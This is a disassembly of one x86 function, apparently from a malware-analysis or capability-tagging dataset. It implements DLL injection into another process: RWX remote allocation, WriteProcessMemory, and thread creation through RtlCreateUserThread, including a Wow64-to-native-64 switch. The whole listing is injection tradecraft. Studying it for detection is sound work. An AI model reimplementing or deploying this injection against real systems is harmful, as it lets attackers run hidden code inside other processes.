Function at 0x4011e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
mov eax, dword [0x415020]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [ebp - 0x1d], 0
mov eax, dword [ebp + 8]
push eax
call fcn.00401170
add esp, 4
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x40121e
push str.::Debug::_____Failed_to_get_process_architecture_n
call fcn.004016e0
add esp, 4
mov al, byte [ebp - 0x1d]
jmp 0x401561
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call fcn.004010d0
add esp, 8
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0
jne 0x40124c
push str.::Debug::_DLL_does_not_have_a_valid_PE_header_n
call fcn.004016e0
add esp, 4
mov al, byte [ebp - 0x1d]
jmp 0x401561
mov eax, dword [ebp - 0x3c]
movzx ecx, word [eax + 4]
cmp ecx, 0x14c
jne 0x401261
cmp dword [ebp - 0x28], 0x20
jne 0x401275
mov edx, dword [ebp - 0x3c]
movzx eax, word [edx + 4]
cmp eax, 0x8664
jne 0x40128a
cmp dword [ebp - 0x28], 0x40
je 0x40128a
push str.::Debug::_Inject_process_arch_does_not_match_DLL_n
call fcn.004016e0
add esp, 4
mov al, byte [ebp - 0x1d]
jmp 0x401561
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x2c], 0
cmp dword [ebp - 0x28], 0x20
jne 0x4012af
lea ecx, [ebp - 0x2c]
push ecx
call fcn.00401b80
add esp, 4
mov dword [ebp - 0x24], eax
jmp 0x4012be
lea edx, [ebp - 0x2c]
push edx
call fcn.00401920
add esp, 4
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x28], 0x20
jne 0x4012cd
mov dword [ebp - 0x50], 0x40f3b4
jmp 0x4012d4
mov dword [ebp - 0x50], 0x40f3bc
call fcn.00401070
cmp eax, 0x20
jne 0x4012e7
mov dword [ebp - 0x54], str.Wow64
jmp 0x4012ee
mov dword [ebp - 0x54], 0x40f3c8
mov eax, dword [ebp - 0x50]
push eax
mov ecx, dword [ebp - 0x54]
push ecx
push str.::Debug::____Injecting__s_____s_n
call fcn.004016e0
add esp, 0xc
mov edx, dword [ebp - 0x2c]
add edx, dword [ebp + 0x10]
mov dword [ebp - 0x58], edx
push 0x40
push 0x3000
mov eax, dword [ebp - 0x58]
push eax
push 0
mov ecx, dword [ebp + 8]
push ecx
call fcn.00401ef0
add esp, 0x14
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
jne 0x401343
push str.::Debug::_____Failed_to_allocate_remote_memory_n
call fcn.004016e0
add esp, 4
mov al, byte [ebp - 0x1d]
jmp 0x401561
mov edx, dword [ebp - 0x30]
push edx
mov eax, dword [ebp - 0x58]
push eax
push str.::Debug::____Writing__lu_bytes_into_process_at__p_n
call fcn.004016e0
add esp, 0xc
mov dword [ebp - 0x44], 0
mov byte [ebp - 0x1e], 0
lea ecx, [ebp - 0x44]
push ecx
mov edx, dword [ebp - 0x2c]
push edx
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [ebp - 0x30]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x4013a2
lea eax, [ebp - 0x44]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 0x30]
add eax, dword [ebp - 0x2c]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x4013a6
mov byte [ebp - 0x1e], 1
cmp dword [ebp - 0x24], 0
je 0x4013d6
mov edx, dword [ebp - 0x2c]
push edx
mov eax, dword [ebp - 0x24]
push eax
call fcn.00401f50
add esp, 8
mov ecx, dword [ebp - 0x24]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [ebp - 0x24], 0
movzx edx, byte [ebp - 0x1e]
test edx, edx
je 0x4013f2
push str.____Failed_to_write_remote_process_memory_n
call fcn.00401fc1
add esp, 4
xor al, al
jmp 0x401561
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x40], 0
call fcn.00401070
cmp eax, 0x40
je 0x401414
call fcn.00401070
cmp eax, dword [ebp - 0x28]
jne 0x40146b
push str.RtlCreateUserThread
push str.ntdll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jne 0x401449
push str.::Debug::_____Failed_to_resolve_ntdll_RtlCreateUserThread_n
call fcn.004016e0
add esp, 4
mov al, byte [ebp - 0x1d]
jmp 0x401561
push 0
lea eax, [ebp - 0x40]
push eax
push 0
mov ecx, dword [ebp - 0x30]
push ecx
push 0
push 0
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
call dword [ebp - 0x48]
jmp 0x401531
push str.::Debug::_Switching_from_Wow64____native_64_to_run_RtlCreateUserThread_n
call fcn.004016e0
add esp, 4
xorpd xmm0, xmm0
movlpd qword [ebp - 0x1c], xmm0
xor eax, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x30]
cdq
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], edx
mov eax, dword [ebp + 8]
cdq
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x38], 0
lea ecx, [ebp - 0x38]
push ecx
call fcn.00401dd0
add esp, 4
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
je 0x401531
push 0x40
push 0x3000
mov edx, dword [ebp - 0x38]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x38]
push eax
mov ecx, dword [ebp - 0x34]
push ecx
mov edx, dword [ebp - 0x4c]
push edx
call fcn.004022d0
add esp, 0xc
lea eax, [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x4c]
push ecx
call fcn.00401020
add esp, 8
mov edx, dword [ebp - 0xc]
or edx, dword [ebp - 8]
je 0x401507
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x38]
push ecx
mov edx, dword [ebp - 0x34]
push edx
call fcn.00401f50
add esp, 8
mov eax, dword [ebp - 0x34]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [ebp - 0x34], 0
cmp dword [ebp - 0x40], 0
je 0x40154a
mov byte [ebp - 0x1d], 1
push str.::Debug::____Injection_::_Success_n
call fcn.004016e0
add esp, 4
jmp 0x40155e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.::Debug::____Injection_::_Failed___d__n
call fcn.004016e0
add esp, 8
mov al, byte [ebp - 0x1d]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004022ba
mov esp, ebp
pop ebp
ret